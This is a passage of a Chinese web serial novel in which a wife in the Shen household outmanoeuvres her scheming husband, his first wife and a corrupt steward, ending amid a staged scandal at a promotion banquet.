高芝兰抱着沈长元,一脸心疼。 “可怜了我的长元,小小年纪便被陌生人冲撞,往后一定不能让这样的人出现在你面前。” 沈清安站在一边,自那游僧开口时,他的脸色已经黑了下来。 都不用细想,东南方向,生人,所有的线索指向都是乐无忧。 若平时,他定然会为了保护沈长元,断然与之不在来往,可那个人是乐无忧,她可是南疆王府的小郡主,不光给他疏通水路运输,就在刚才,还帮他解决了锦州堤坝修筑的计划图。 权衡利弊之下,叫他如何能断了与乐无忧的往来? 眼神在蹙眉之间变化,这时,陆太医也来了。 老夫人紧忙又着陆太医给沈长元诊病。 陆太医的手搭在沈长元脉上,开口之前先看了姜云舒一眼,见她摇头,便将原本的话咽了回去。 “小公子已无大碍,待本官开一副温补的方子,用上两剂便可恢复如初。” 听陆太医这话,老夫人终于松一口气,随即转向沈清安。 “近日,你可去过东南方向?” 第139章 送去庄子上 这话问出,众人的视线都看向沈清安,尤其高芝兰,就怕老夫人这话不精准,紧接着加一句。 “我常日只在尚品堂,从未去过别处。” 这话将自己撇出去,将这冲煞之气带回来的,不是沈清安就是姜云舒了。 姜云舒挑眉,不说话,却见沈清安眉头凝蹙。 在一众视线之下,他似乎在一番衡量之下,开了口。 “既然长元神灵未稳,不如先将他送去城外庄子上疗养一段时间,也避一避这冲煞之气。” “什么?” 高芝兰一双眼睛顿时瞪大,难以置信地看向沈清安,“长元还是个孩子,你要将他送去外面庄子上?” 他竟然为了一个女人,狠心将自己的儿子送到外面? 一时间,高芝兰心口像是塌了一块,忽然间有种提不上气的感觉。 沈清安眉心拧起,声音也冷了下来,“京城之大,只一个东南方向,又不能判定他究竟冲撞了谁,更何况,近日他在书院逃课,戏弄夫子,也该让他吃些苦头,长长记性!” 沈长元自小顽劣,前两年有姜云舒压着,还算收敛,最多也就从课堂偷跑,如今高芝兰回来,处处护着,纵着,他竟敢偷摸拔夫子的胡子。 就因为这,沈清安还被专门请去了崇文书院好一顿申斥。 高芝兰原本想借着神佛之说,让沈清安不再去找乐无忧,可谁知,即便亲生儿子昏迷不醒,他的解决方法却是将孩子送去庄子上。 亲生儿子的安危,竟比不上一个外面的女人,更何况她区区高芝兰? 姜云舒站在旁边不插嘴,只看着高芝兰眼中逐渐升腾起来的恨意,眸中闪过一抹嘲讽。 连自己亲生儿子都拿来利用,自食其果,怪得了谁呢? 这一对夫妻,半斤八两,都挺不是人的。 沈清安的确行动利索,翌日清早便安排了马车将沈长元送去城外的庄子上,高芝兰哭闹了一阵,最后到底是舍不得,也跟着去了庄子上。 姜云舒目送着高芝兰母子离开,转身往回走,抬头就见沈清安站在身后,视线就落在她身上。 “沈大人可是还有什么吩咐?若是不放心,我安排沈管家一起跟过去。” 自从高芝兰回来,沈管家便一心向着原主,如今趁这个机会将他们都送过去也算是全了他们主仆情谊。 “不必。” 沈清安沉沉开口,视线在姜云舒脸上扫过,问:“长元这事儿,你没有什么跟我说的?” “沈大人想听我说什么呢?” 姜云舒迎着他的视线,唇角勾起,“沈大人是觉着,我给长元下了毒,还是觉得,刚巧出现在沈家门口的游僧是我提前安排的?亦或者,你觉得让他们母子去城外庄子上的决定,是我催促你下的?” 几句话,愣是让沈清安嘴边的话噎了结实。 自从他带高芝兰回来,沈长元便再没跟着姜云舒用过一餐,而那游僧,是沈管家带进府里的,至于让他们母子去城外庄子上,更是他自己做的决定。 从结局上来看,如今这情况的确对姜云舒有利,可每一件事又跟姜云舒沾不上边。 沈清安的确怀疑高芝兰,可他不相信高芝兰会拿亲生儿子做局。 “母亲也受了惊,你最近在府上多陪陪她。” 说完,沈清安拂袖往外走,那方向,又是东南的海棠巷。 一眼看着沈清安的马车转过街角,姜云舒神情沉了下来。 接下来的几日。 随着高芝兰母子离开,沈清安的脸色一直没好过,沈府上空似乎有一块乌云笼罩。 沈府上下战战兢兢,便是沈清睿脸上也不见了往常的笑模样,每次回来都好像揣着满腹心事。 这阴霾在沈府上空盘旋了两日,终于在第三日,沈家迎来了喜讯。 沈清安提交的堤坝修筑计划图得到皇上和朝臣的肯定,接连两次立功,沈清安终于官升一级,做了正五品工务部员外郎。 消息传来,原本卧床的老夫人“嗷”的一嗓子便下了床,虽然看不懂,还是拿着沈清安手里的圣旨上上下下看了好几遍,就连圣旨用的料子都细细地摸索了好久。 “设宴,一定要设宴!” 老夫人转向姜云舒,“这可是我沈家的大喜事,一定要大摆宴席,邀请京中权贵全都来!” 姜云舒还没说话,月禾忍不住翻了白眼。 官升一级也还是五品官员,你府上就算是天大的喜事,京中高官多的是,还不一定看得上你沈家的门第呢,更别说权贵。 姜云舒也有些无奈,等老夫人那咋呼劲儿过了,这才开口。 “擢升宴是要办,但如今城外灾民尚未全部安置,沈家在这个节骨眼上大摆宴席恐怕不适合,毕竟,沈大人接下来还要去锦州监督堤坝修筑一事。” 老夫人一顿,脸上的笑容一下子僵住,随即恍然瞪大眼睛。 是啊,她一时高兴竟然忘了,如今城内城外都在施粥广济灾民,她沈家在这个时候大摆宴席的确不合适。 “那,我们令设两处粥棚!” 刚说完,又提醒姜云舒,“以大郎的名义设立粥棚!” 其实以往姜云舒设立粥棚也是以沈家的名义,只是这次她还安置了灾民,功劳都落在她姜云舒头上,那就得分清楚了。 姜云舒自然明白老夫人的意思,扭头看沈管家,“沈管家,老夫人的要求你可记清楚了,千万不能疏漏。” “哎,是!” 沈管家紧忙应声,随即又略显为难地看向老夫人,“老夫人,上次给尚品堂补充药材,用了六千两银子,如今咱们府上正拮据……” “你说什么!” 老夫人眼睛当时就瞪圆了,然而,也只是一瞬,似乎反应过来,脸色就跟着沉了下来。 是了,上次为了尚品堂开张,已经提前从公中抽出了一部分银子,如今崔家还没送银子过来,这个月的确紧张了。 “姜氏,你看……”她抬头看向姜云舒,那意思,让姜云舒给添补一些。 毕竟,以前姜云舒时长添补,也不是头一次的事儿了。 姜云舒自然明白老夫人的意思,这一次却并不顺着她。 “我刚接手库房钥匙,尚未来得及查账,若府上实在拮据,不如将南城那片林子卖了,如今正值春耕时节,应该能卖上好价钱。”她勾起唇角,笑得一脸无害。 沈清安回京虽官职未变,但宫里的赏赐却不少,物件不能买卖,但良田店铺却可以。 一句话,将老夫人的嘴堵了个正着。 老夫人不高兴,扭头看沈清安,沈清安本就不善于管理这些,左右皇上赏赐的良田有百亩,也不差这几十亩,当即大手一挥。 “姜氏管理后宅,这些事便交给你。” 姜云舒勾了勾唇角,却转向沈管家,“沈管家在田地买卖这块轻车熟路,不如便交给沈管家。” 原本风轻云淡的一句话,听进沈管家耳朵里,忽然他的脸色就变得不正常了。 第140章 和离书 沈清安升官的消息很快在京城传开,倒不是他一个五品官员晋升有多重要,而是他的堤坝设计图出来就代表着锦州水患可以得到控制。 且不说锦州灾民心中激动,京城之内百姓也松了一口气,毕竟,锦州每隔两年总有一次水患,灾民往京城涌来,带过来的还可能有疫病。 因着各种关系,沈清安送出的擢升宴帖子倒是大部分官员都收了。 送到了官员府上,最后一张沈清安亲手写的请帖便送去了海棠巷。 乐无忧瞧着沈清安手里的请帖,原本脸上的笑意逐渐散开。 “我承认,我的确心悦于你,但沈哥哥家中已有妻儿,我们以后还是不要再见为好。” 说着,她抬手用绢帕在眼尾擦了擦,“与沈哥哥相识一场我很开心,下个月我父王奉召回京述职,届时我便与他一同回南疆。” 说话的功夫,她眼睛已经红了。 沈清安心里顿时一紧,伸手拉住乐无忧的手。 “你知道的,我与姜氏的婚事本就是姜兆霖以权压人,我才逼不得已,如今我已经向皇上提出和离,所以……” 他看着乐无忧,一脸情深意切,“你能不能为了我留下?” 此时,高芝兰没了那三全命格的加持,于沈清安看来,也并没有那么重要了。 之前他对姜云舒心存怨念时尚且没给高芝兰一个正室的名分,如今,高芝兰于沈府最多也就是贵妾,毕竟,眼前无忧君主进门总不能做小吧。 他这话说得坚定,乐无忧看着她,眸光涌动。 “沈哥哥所说可当真?” “自然是真的,你看!” 说着,沈清安从怀中掏出和离书,上面虽未有京兆府和户部的章印,但落款处那醒目的印章赫然是当今皇帝的私章。 所以,这一次沈清安果真没有再推脱,当真趁机跟皇上要了和离的允诺。 毕竟,他这次能顺利晋升,还是靠着乐无忧一纸堤坝修筑设计图,若能将她娶进门,以她的聪明才能和家世出身,以后定能于仕途上有所助益。 这一点,如今姜云舒可给不了他。 “你,我没想到你竟会为了我做到如此。” 乐无忧捂着眼睛,声音颤抖,将满面的讽刺遮盖于绢帕之下。 果然,男人什么的,真真是靠不住的。 当晚,夜幕。 姜云舒收到乐无忧传来的消息,月禾当时就炸了。 “好一个臭不要脸的陈世美,面上装得正人君子,背地里干的全都是脏事!” “要不说他能升官进爵呢,脸皮厚到这种程度,他干什么都得成!” “我倒真是想看看,最后他是要如何跪下来求小姐!” 相比月禾急赤白脸,姜云舒却平静得多,抬手将纸条在烛火之上引燃,看着那腾起的火焰化为灰烬,面上神情未有丝毫变化。 自他回京,姜云舒对这个男人已经没有了任何期待,没有期待,便不会有失望,而愤怒,更是没有必要。 “月禾,将沈管家请过来,我要准备拟定擢升宴的一应事务。”姜云舒吩咐一声。 月禾转身,没好气地一跺脚,“那混账都这样对小姐了,你还有心思管他什么擢升宴?” “沈家中馈在我手中,我自然是要管的,更何况,我们一直没找到第二次进入书房密室的机会,这擢升宴不正好方便黑鹰二探密室?” 说着,姜云舒将杯盏放下,见月禾依旧气鼓鼓,又宽她的心,“更何况,他有和离书有什么用,我手里还有休夫圣旨呢。” 要不说谁都斗不过皇帝呢,他给了自己休夫圣旨,扭头又赐了沈清安和离书,两边都圆满,两边都不得罪。 提及休夫圣旨,月禾这才散了一脸的阴霾。 “就是,他想和离,没门,我家小姐要离开沈家也得是休夫!” 说着,转身往外走。 一会儿功夫,沈管家便进了揽芳院,得了通报,满脸拘着笑上前。 “小的给姜夫人请安。”沈管家上前。 “这么晚了请沈管家过来,辛苦了。” 姜云舒掀了掀眼皮,将手中账册放在桌上,不等沈管家开口,直接开门见山,“城南良田可卖出价格了?” “卖,是卖了八十六亩,但姜夫人您也知道,那片树林并非果木,价格没有预想中高,这……” “沈管家!” 姜云舒突然冷声打断,“我的嫁妆里也有城南良田,其中价格几许,我自是清楚的,你在我手下做事三年,从中捞过多少油水,你或许记不清楚,我却门儿清,在我面前,就不用兜没用的圈子了!” 说着,姜云舒一甩手,将一本账册摔在沈管家跟前。 都说厨子不偷,五谷不收,姜云舒平日里对待下人拿些小恩小惠都是睁一只眼闭一只眼,尤其沈管家是老夫人身边的老人,她也从来没有责难过。 可谁叫他背恩忘义呢? 如今这管家权又回到姜云舒手里,他吞了什么,就得原封不动的吐出来。 这话中气十足,仿若狂风灌进沈管家的耳朵里,冲得他双膝一软,扑通就跪在了地上。 “夫人,小的知错了,小的这就把银子补上,还请夫人饶了小的这一回,小的以后不敢了。”沈管家紧忙磕头。 那摔在地上的账册记录的是他这三年来私自昧下的银两,什么渠道,什么手法,从谁手里,包括这三年内他为自己置办的房屋田园,甚至在外面养的外室,一桩桩一件件记得详细清楚,容不得他狡辩。 姜云舒看着他,哼笑出声。 “我本无意为难你,可是这人呐,贪心不足总是要报应的,这次沈大人的擢升宴我给你一次机会,你若办得漂亮,这本账册我会当着你的面儿烧掉,保证出了这个屋子,再没人知道。” “是是是,小的一定听从姜夫人差遣!” 沈管家当着姜云舒的面,磕头不要钱似的,“砰砰砰”地拿脑袋往地上砸。 待沈管家离开,月禾这才出了一口气。 “我就说嘛,小姐何苦劳心费力为那混账办什么擢升宴!” 姜云舒勾了勾唇角,随即将沈管家交上来的地契中抽出两张,放在旁边的木匣子里。 此时,这木匣之中已经有几张房契和地契了,有良田,还有店铺。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第141章 姑丈 背后有绳子拴着,沈管家这回办事儿可是上心了许多,各处细节,甚至不用姜云舒吩咐,他已经提前准备好,当然,不够的银两都是他咬牙切齿从自己的腰包药包掏出来的。 因为,姜云舒就没给他拨银子! 沈府大喜,高芝兰和沈长元母子也被接了回来。 此时沈长元身体已经恢复,大概是得了高芝兰的示意,进门先抱着老夫人哭,哭得那叫一个委屈,仿若去了庄子上是被虐待的。 说到底,如今沈家就沈长元这一支独苗,老夫人自是心疼不已,一定要沈清安给补偿。 沈清安心情难得好,将皇上赏赐的东西送到汀兰院,其中便有一匹红色软烟罗。 高芝兰瞧见那正品鲜红的颜色,当即心中一阵兴奋,如今相公已经如愿晋升,又接回了他们母子,正好趁着擢升宴的机会公布她正室的身份。 甚好,甚好! 高芝兰满心欢喜地让丫鬟将她那身红色的罗裙找出来,正试着,就听门外传来通报。 “大人来了。” 高芝兰闻言欣喜,紧忙转身,正好与进门的沈清安四目相对。 沈清安神色一顿,当即蹙眉,“你怎么穿这个颜色?快脱下来。” 高芝兰满脸的欣喜顿时僵在脸上,半晌没有回过神来。 “相公今日擢升宴,我自然要穿喜庆一些,更何况,相公不是说过,待晋升之时,便将正室之位还……” “急什么!” 沈清安打断她,抬头见高芝兰眼眶泛红,抿了抿唇,又道:“要将姜云舒赶出沈家,总得有一个适当的理由,这次擢升宴上,我还邀请了恭王府,其中闵世子也会来,若她在宴会之中被人撞破与外男私会,我们便有了正当理由,不仅能将她扫地出门,还能理所应当分得她一半的嫁妆。” 世家高门之中,正妻可不是随便就能休的,需所犯七出有理有据,否则,即便手里拿着皇上盖了章的和离书,沈清安也要被人置喙。 在被戴绿帽和被人置喙人性品行之间,沈清安选择保住自己的名声。 听得沈清安这话,高芝兰心口的淤堵瞬间就散了。 她衡量一番,紧忙将身上红色衣衫脱了。 “对,还是相公考虑周全。” 既然有了沈清安授意,高芝兰做起来就没有后顾之忧的。 此时兴奋之余,她心里还生出了一丝愧疚,是她太急了,竟误会了相公。 翌日清晨,春末的风夹带着夏日临近的燥意,吹得春树新芽沙沙作响。 天色正早,沈家已经敞开大门,府上内外都忙碌着,一派喜气洋洋。 姜云舒也比往常起得早些,倒不是因为沈家这擢升之喜,而是今日恭王府众人也在邀请行列之内。 原本闵青鸢还犹豫不想来,但听姜云舒说今日有戏,当即眼睛一亮。 看戏好啊!她可就爱看戏! 此时姜云舒刚梳妆好,正喝着茶,白芷便从外面急匆匆进来。 “夫人,来了,恭王府的马车到了。” “快,快出去迎。” 姜云舒手里的杯盏往桌上一放,起身急匆匆往外走。 到时,恭王府的人已经到了前厅,除了恭王府的人,还有裴钰,此时裴钰正拿着糕点逗稚儿。 “小稚儿,快叫叔叔,叔叔给你吃糕点。” 稚儿伸手抓了两下没抓到,生气地嘟着小嘴,听到动静抬头见姜云舒来了,小脸顿时张开笑容。 “姑,姑姑,抱~”稚儿朝姜云舒伸出双手。 “抱!” 姜云舒紧忙将稚儿抱起来,一边稀罕着,伸手将裴钰手里的点心拿过来送到稚儿手里。 稚儿终于拿到糕点,举着“战利品”得意地朝裴钰晃了晃。 裴钰气得嘬牙花子,“这小坏蛋,刚才还一脸不稀罕,怎的你姑姑给你就喜欢了?” 稚儿不理他,张开嘴巴在糕点上咬了一口,糕点撑着他那小脸鼓起来,可爱至极。 “那能一样吗,到底是亲姑姑,更何况,就你刚才那种逗法,他没张嘴咬你手指头就算好的了。”闵司捷忍不住开口。 别看孩子小,脾气可大着呢,尤其前几日白老太傅还送了一条通体雪白的小狗给他,这几日,他可正跟着那狗学咬人呢。 裴钰不服,扭头转向稚儿,跟他大眼瞪小眼。 “我的!”他一把攀住姜云舒的胳膊。 稚儿顿了一下,糕点也不要了,伸手搂住姜云舒的脖子。 “姑姑!” 姜云舒:“……” 也得亏腾不出手,否则她真忍不住给裴钰一巴掌。 跟三岁的孩子吵架,得亏他脸皮厚。 这边正热闹着,闵青鸢过来,强行将稚儿交给闵司捷,拉着姜云舒去了一旁。 “你说今日有好戏,可是有武戏?我今日可带了人来。” 姜云舒瞧着那一脸兴奋的大嫂,眼皮颤了颤。 好家伙,光是看戏还满足不了她,这还准备亲自上台了。 “就沈家这门第,还能闹到何种地步?用得着恭王府掺和进来?你管好稚儿便是。” “我还以为你要趁着人多,将这沈府拆了呢,白给准备了那么多铁锹和锄头。”闵青鸢一脸失望。 姜云舒嘴角又抽了抽。 合着她是带着孩子来沈家拆家来了? 要真是这打算,如今裴钰跟他们一起来,倒是合情合理了! 可是…… “我的好姐姐,你可消停点吧,便是这府邸牌匾上写的是‘沈府’,可那也是父亲买下来的,你要打砸拆家,也得等我把银子要回来再动手。”姜云舒拍了拍闵青鸢的手背。 闵青鸢又一撇嘴,虽然她说得对,但还是觉着扫兴。 这边两人正说着,就见裴钰捏着稚儿的小脸,问:“小稚儿,叔叔给你做小姑丈行不行?” 稚儿的脸颊被裴钰扯得漏了风,伸手就要往裴钰脸上抓,正闹着,就听门外传来一声通报。 “渊政王府,谢世子到——” 众人回头,就见谢无烬一身玄色长袍出现在前厅门口。 他看起来心情不怎么好,周身的压迫气息一瞬间扑面而来,一时间,吵嚷的前厅安静下来。 谢无烬的气场太大,随着一步步走近,众人下意识屏住呼吸,大气都不敢喘。 就在这时,一个稚嫩的声音突然传来。 “姑,姑丈!” 第142章 姑丈给的金项圈 众人被这一声“姑丈”惊得瞪大眼睛,扭头,就见稚儿两只肉乎乎的小手朝谢无烬挥着。 一边挥手,嘴里还软软糯糯地叫着“姑丈”。 “姑什么丈,他不是姑丈,我才是你姑丈!”裴钰气急败坏地将稚儿的手抓回来。 这小没良心的,最近的点心果子都白喂了! 稚儿到底力气小,挣脱不开,但还是朝着谢无烬的方向蛄蛹,那意思,让谢无烬抱。 除了姜云舒身边这几个人,在场众人几乎没人知道稚儿的身份,一时间都在猜想这孩子喊的“姑丈”是个什么身份。 倒是听说恭王府的小郡主嫁人了,嫁到了哪家,嫁给了谁,那就没几个人知道了。 别说众人,就连姜云舒也一时间愣住了。 稚儿这孩子是有些认生的,便是裴钰,也是相处了几日才不情不愿地让他抱,按说他与谢无烬是第一次见,怎的就让抱了? 更何况,谢无烬那一身冷煞的气质,正常人都不敢靠近,稚儿竟不害怕他。 真是奇了怪了! 恭王府众人下意识要将稚儿护住,此时,谢无烬已经到了跟前。 “谢世子,孩子尚且年幼,不懂……”闵司捷正开口。 “姑丈,抱!” 稚儿这一声,竟盖过闵司捷,脆生生地喊了出来。 一时间,气氛有些诡异,众人莫名更多了几分紧张,下意识看向谢无烬,却见谢无烬竟伸出手来。 裴钰是想将稚儿抱走的,可一晃神的功夫,谢无烬已经将孩子抱了过来。 “你叫我什么?”谢无烬眯着眼睛看稚儿。 他没抱过孩子,也不知是担心稚儿会弄脏他的衣服,还是担心自己用力会把怀里这团软乎乎的小肉肉抱坏了,此时抱孩子的动作完全是用“托着”来形容。 “姑~丈!”稚儿眨巴着眼睛看他。 这俩字灌进耳朵里,众人不免替稚儿捏了一把汗。 这可是杀人如麻的活阎王,听说他率兵攻城时,还吃小孩儿呢! 不得不说,恭王府家这小孩儿,又白幼嫩…… 众人思绪正飘着,恍惚间,感觉到谢无烬原本周身的压迫感似乎一瞬间散开了。 嗯? 不光没那么大压迫感,甚至,他还在对着那孩子笑! 笑?这阎王在笑,真是活见鬼了! 他该不会真想吃了这孩子吧! 别说其他人,姜云舒也是一脸凌乱,尤其在稚儿喊完“姑丈”两个字后,她震惊地看到谢无烬不知从哪里掏出个金项圈挂在了稚儿脖子上。 “姑丈给你的见面礼!”谢无烬伸手在稚儿滑嫩的脸蛋上点了一下,力道可比裴钰刚才轻多了。 “这……”闵青鸢紧忙上前,“谢世子,这不合适。” 恭王府与渊政王府并无相交,这金项圈收着没有名头,若说定国将军府这边,姜云舒退了与谢无烬的婚事,她更担心谢无烬给了这金项圈后续会用这个给姜云舒找麻烦。 她想帮稚儿摘下那金项圈,却被谢无烬宽厚的肩膀挡住。 “一个金项圈而已,并不贵重,我本应该早去恭王府拜见的。”谢无烬一边说着,余光朝姜云舒的方向看。 姜云舒眼皮颤了一下。 他知道闵青鸢是她的大嫂,所以,他所谓的“拜见”不是对恭王和恭王妃,而是闵青鸢。 此时,她望着谢无烬难得柔和的眼神,心口涌上一阵说不出的感觉。 他的目的看起来很明显,可睚眦必报如他,真的如眼见这番? 姜云舒不敢信。 正说着,沈管家过来请客人入席,闵青鸢紧忙将稚儿抱了过来。 席间,男宾女宾分场,姜云舒作为主家,在女宾这边照顾客人。 在场都是京中有头有脸的家眷,多数人与姜云舒都有交往,宴席开始,纷纷朝姜云舒敬酒贺喜。 “辛苦了三年,如今夫君回京,云舒的好日子就来了。” “是啊是啊,回京之后便晋升,如今又为皇上解决一桩烦心事,这沈大人的确是多才之士。” 说起来,当初沈清安高调带着高芝兰进京,众人都知道姜云舒这日子怕是不好过了,可如今再看这擢升宴上,姜云舒主导大局,那所谓的“原配”却连正桌都没上。 尤其,席间沈家那小公子还来过女宾宴席一趟,对姜云舒口口声声叫的是“母亲”。 看来,这沈家还是姜云舒坐镇后宅,那“原配”到底没翻起什么风浪。 姜云舒对于沈长元那一声“母亲”也显诧异,不过,见他只是讨了银子便离开,倒也没太在意。 而此时相较于女宾的一派祥和,男宾那边因为有谢无烬这块肃杀之神,整个气氛都略显压抑。 众人见谢无烬一副生人勿近的模样,便将酒杯递向了旁边的闵司捷。 同样是边境外姓王府的世子,闵司捷倒是随和许多,加之这次是恭王一家回京,京中权贵更是想办法往前攀一攀。 “闵世子屈尊降贵,我沈府蓬荜生辉,下官敬世子一杯!”沈清安带头给闵司捷敬酒。 闵司捷自然接了这一杯,结果开了这个头,后面还有好多杯。 姜云舒得到信儿时,紧忙派了郭攀去男宾那边,带着闵司捷去后院休息。 谁知,郭攀刚走,白芷又急匆匆过来。 “夫人,方才小公子带着恭王府小公子去了内院。” 姜云舒夹菜的动作一滞,面上的笑紧接着沉了下来。 沈长元与稚儿年纪相差两岁,按说是能玩儿到一处的,可不知怎么,她心里莫名多了几分紧张。 沈清安的擢升宴,高芝兰这么安静,不对劲,沈长元莫名叫她一声“母亲”也不对劲。 “走,去后院找找。” 姜云舒与客人告别,急匆匆朝后院去。 一路上,顺着下人们说的方向,姜云舒一直找到了后院的人工湖。 白芷紧忙朝四处转了一圈,未发现湖边有脚印,这才松了一口气。 “我们分开找,白芷,你去前院的花园,别声张。”姜云舒叮嘱。 虽说担心,但只是凭借自己心里的不安,不能判定沈长元就会对稚儿如何,更何况,如今她还是沈长元的嫡母,于众人面前,表面的平和还是要维系的。 白芷应声急匆匆朝花园去,此时姜云舒又吵人工湖旁的假山走过去。 到了假山旁,就见怪石上挂着一条布料,正是稚儿今日穿的那套衣服的料子。 第143章 哎哟,没眼看 姜云舒心口一紧,紧忙进了假山之中,没有发现稚儿,却发现另外一处布条就在假山另一侧的休息室外。 来不及多想,她紧忙找过去,伸手推开门,没见到稚儿,却见闵司捷蜷缩着躺在床上。 “司捷哥哥,你可带稚儿来的这里?” 姜云舒抬脚往里走。 闵司捷动了动,侧身坐起来,尚未开口,身子猛然一晃,险些摔在地上。 “怎么回事?” 姜云舒紧忙上前扶住他。 闵司捷攥着心口的衣服,咬牙道:“阿舒,我方才喝的酒不对劲。” 虽说宴席上很多人敬酒,但闵司捷对自己的酒量还是有分寸的,十几杯而已,还不至于醉,可他自进了这休息室,就感觉浑身滚烫,仿佛有虫蚁在身上爬。 姜云舒闻言眉心一蹙,见他呼吸急促,来不及多问,转手倒了一杯清水递到跟前。 “没事,陆太医在府上,我这就请他过来。” 说着,姜云舒起身,谁知还没到门口,就听人说话的声音自外面传了进来。 “就是这边,我亲眼看着跑到这边来了。” “这边院子小,肯定就在里面。” “哎呀,可是要快些找,那可是恭王府的孩子,万一出事咱们可担待不起。” 众人小声议论着,已经进了月亮门。 此时,闵司捷所在休息室的房门半开,众人进来时,姜云舒正撑着闵司捷往床边去。 空荡的院子,孤男寡女共处一室,尤其此时两人相近,一时间姿态难免暧昧。 刚进月亮门的众人一时间僵在原地,忽然人群中有人一声惊呼。 “哎哟,出事了!” 这话一出,众人似乎反应过来,此时看姜云舒和闵司捷的眼神就变了。 “快,快去请沈大人和老夫人过来!” 此时,又有人不失时机地喊了一声。 人群中有沈家的丫鬟,闻声转身往外跑,一边跑,还喊着。 “不得了,出事了!” 姜云舒皱了皱眉,她这是生怕事情被遮掩,喊着让人来看热闹呢! 剩下众人瞪着眼睛盯在姜云舒和闵司捷身上,震惊又兴奋。 可真是好大一个房间啊! 姜云舒蹙了蹙眉,冷着声音朝人群中喝一声,“愣着做什么,还不过来扶人!” 众人不明白,但听她这样说,犹豫瞬间还是过来搭把手。 几个人将闵司捷扶回床上,姜云舒又对沈家丫鬟道:“去朝明院请陆太医过来。” 丫鬟不敢怠慢,转身往外走,刚到门口,刚好遇上急匆匆过来的沈清安和沈老夫人,当然,除了他们两个,身后还跟着高芝兰和一群看热闹的人。 “出了什么事?”老夫人进院子便大喝一声,将众人的视线都引了过去。 众人闻言转身,不相干的人没有答话,倒是沈家的下人紧步过去禀报。 “我们听说恭王府的小少爷不见了,就四处找,结果进了这个院子,就瞧见……” 那人话没说完便停住了,抬眼瞟了姜云舒一眼,仿佛被威胁了一般,又紧忙低下头。 “瞧见什么,快说!”老夫人手中拐杖重重地往地上一戳。 “看见姜夫人和恭王府闵世子抱在一起……” 说着,扑通一声跪了下来,“小的不敢扯谎,刚才大家都看见了呀!” 老夫人脑袋“嗡”的一下,抬手朝姜云舒一指,“你,你这个贱人,你怎么敢!” 在场众人也愣住,此时看向姜云舒的眼神便多了几分震惊,然而,震惊之后,似乎又有些理所当然。 一个是金尊玉贵的恭王府,一个是寒门出身的五品官员,如今定国将军府没了,姜云舒向攀附恭王府做靠山也不是不能理解。 只是,这手段属实上不得台面,入不得眼。 姜云舒抬头,视线却是看向沈清安。 “闵世子的酒有问题。”她说。 沈清安眉头拧着,尚未开口,却听高芝兰的声音传来。 “今日这擢升宴是姜夫人一手操办,酒有问题应该问你自己吧。” 说话间,高芝兰从人群中出来,“就算酒有问题,姜夫人也可差小厮请大夫过来看,怎的你自己却出现在闵世子的房间?” 男女授受不亲,自应避嫌,姜云舒出现在这里本身就说不清。 一句话,似乎点明重点,众人瞬间反应过来,此时越看姜云舒就越有问题。 “我是来找稚儿的。”姜云舒冷冷开口。 提及稚儿,沈长元突然从人群中冲出来,指着姜云舒大喊。 “你找他做什么!你为什么要关心他?明明我才是沈家的孩子,你为什么要帮恭王府的孩子进崇文书院却不管我?你还给他买了上好的兔毫笔,可我跟你要狼毫笔你都不给,你是不是要给恭王府的孩子当娘去?” 说完,沈长元一屁股坐在地上,放声大哭,一边哭一边说姜云舒对稚儿更好,反而不管他。 五岁的孩子,他怎么能说谎呢?都委屈成这样了,那定然是真的了。 一时间,众人看向姜云舒的眼神之中更多了几分诡异。 在场不少人的确听说了,白老太傅寿辰那日,明确拒绝了沈长元进崇文书院,姜云舒也并没有管,如今巴巴的将恭王府那年仅三岁的孩子送去,的确耐人寻味。 尤其沈长元那句“要给恭王府的孩子当娘”,这引导性再明确不过的话,难免不让人跟着想。 看来,姜云舒的确是存了那种心思。 人群之中,谢无烬的视线远远的落在姜云舒脸上,此时她被众人指责议论,面上却未有半分慌乱紧张,甚至,在沈家众人激奋时,她自己反而置身事外。 这倒是有意思了。 随着众人议论,老夫人气得脸色涨红,拐杖一个劲儿的往地上戳,一边戳一边骂。 “造孽,真是造孽,我沈家世代清流,怎么就娶了你这么个不知廉耻的进了门。” 沈清安的脸色也沉如深渊,冷厉的视线落在姜云舒身上,仿佛眼神如忍要将她千刀万剐。 “呵,我沈家门楣低微,供不起姜大小姐这尊大佛,你既生了旁的心思,我也不强留你,这便给你和离书,不阻碍你另奔高门。” 说着,不知从哪里拿出的和离书甩在姜云舒脚边。 第144章 她的亲侄子 众人瞧着沈家人一脸悲愤,难免唏嘘。 这得多恶啊,仗着自己出身高贵,竟然将个老实人逼到这种境地。 一时间,议论声便在人群中传来。 “姜家都流放了,沈大人尚且未动她的正室之位,她却不识好歹。” “说的是呢,听说因为她心中不快,还让京兆府将原配带去打了板子,姜家都败了,怎的还这般骄横?” “哎,可怜沈大人这个老实人,生生被她欺压。” 众人的议论声不小,传进耳中,姜云舒只觉聒噪,她皱了皱眉,正要开口,却见裴钰从人群中挤了进来。 “哟,和离书?” 裴钰伸手将落在地上的和离书捡起来,细细看过之后,忍不住一声冷笑,“沈大人还随身携带和离书呢?看来是早就准备要和离了。” 说着,转向刚才为沈清安主持公道的众人,贴脸问:“你们说,他沈清安重情重义,反而姜云舒不识好歹?” 一句话,直接将众人的议论顶了回去,众人面面相觑,闭上了嘴。 “你!”沈清安拧着眉头,猛地抬手将和离书从裴钰手里抢回来。 “这是我沈家的事,和裴世子没关系吧?” 高芝兰忍不住开口,“最近这段时间,姜氏与恭王府交往密切,我家相公本就想与她把话说明白,气头上写了和离书也没什么奇怪。” “嗯,是没什么奇怪,可是,你们刚才自说自话一番,甚至都没等姜云舒开口便甩出了和离书,这合适吗?” 裴钰一转身,往沈清安跟前凑过去,“沈大人,你有点迫不及待了。” “裴钰!” 沈清安咬着牙,可嘴唇颤抖着,愣是一句话都没说出来。 “你看,你怎么还急了?”裴钰扯着嘴角朝他笑,“我就是提醒你一句,你想休姜云舒还要保全自己的名声,也别拿恭王府作筏子。” “谁要拿我恭王府作筏子?” 此时一声清亮的女声自外面传来,众人扭头,就见闵青鸢拉着稚儿进了月亮门。 瞧见稚儿,姜云舒倏然松一口气,吊着心终于落回了肚子里。 关心则乱,她之前的确着急了,不过稚儿没出事,真是太好了。 姜云舒这一口气还没舒出来,却见高芝兰兴冲冲地朝闵青鸢迎了过去。 “哎呀,世子妃,是我们沈家的错,都是姜夫人的错,你可千万别气坏了身子。” 一句话说得莫名其妙,却是将罪责先扣在了姜云舒脑袋上。 闵青鸢侧了侧身,离高芝兰远一些,眼睛睨着她,问:“怎么就是姜云舒的错了?” “唉!是我沈家门第不够,终究留不住她,她对闵世子生出非分之想,这件事,沈家一定会给你一个交代。” 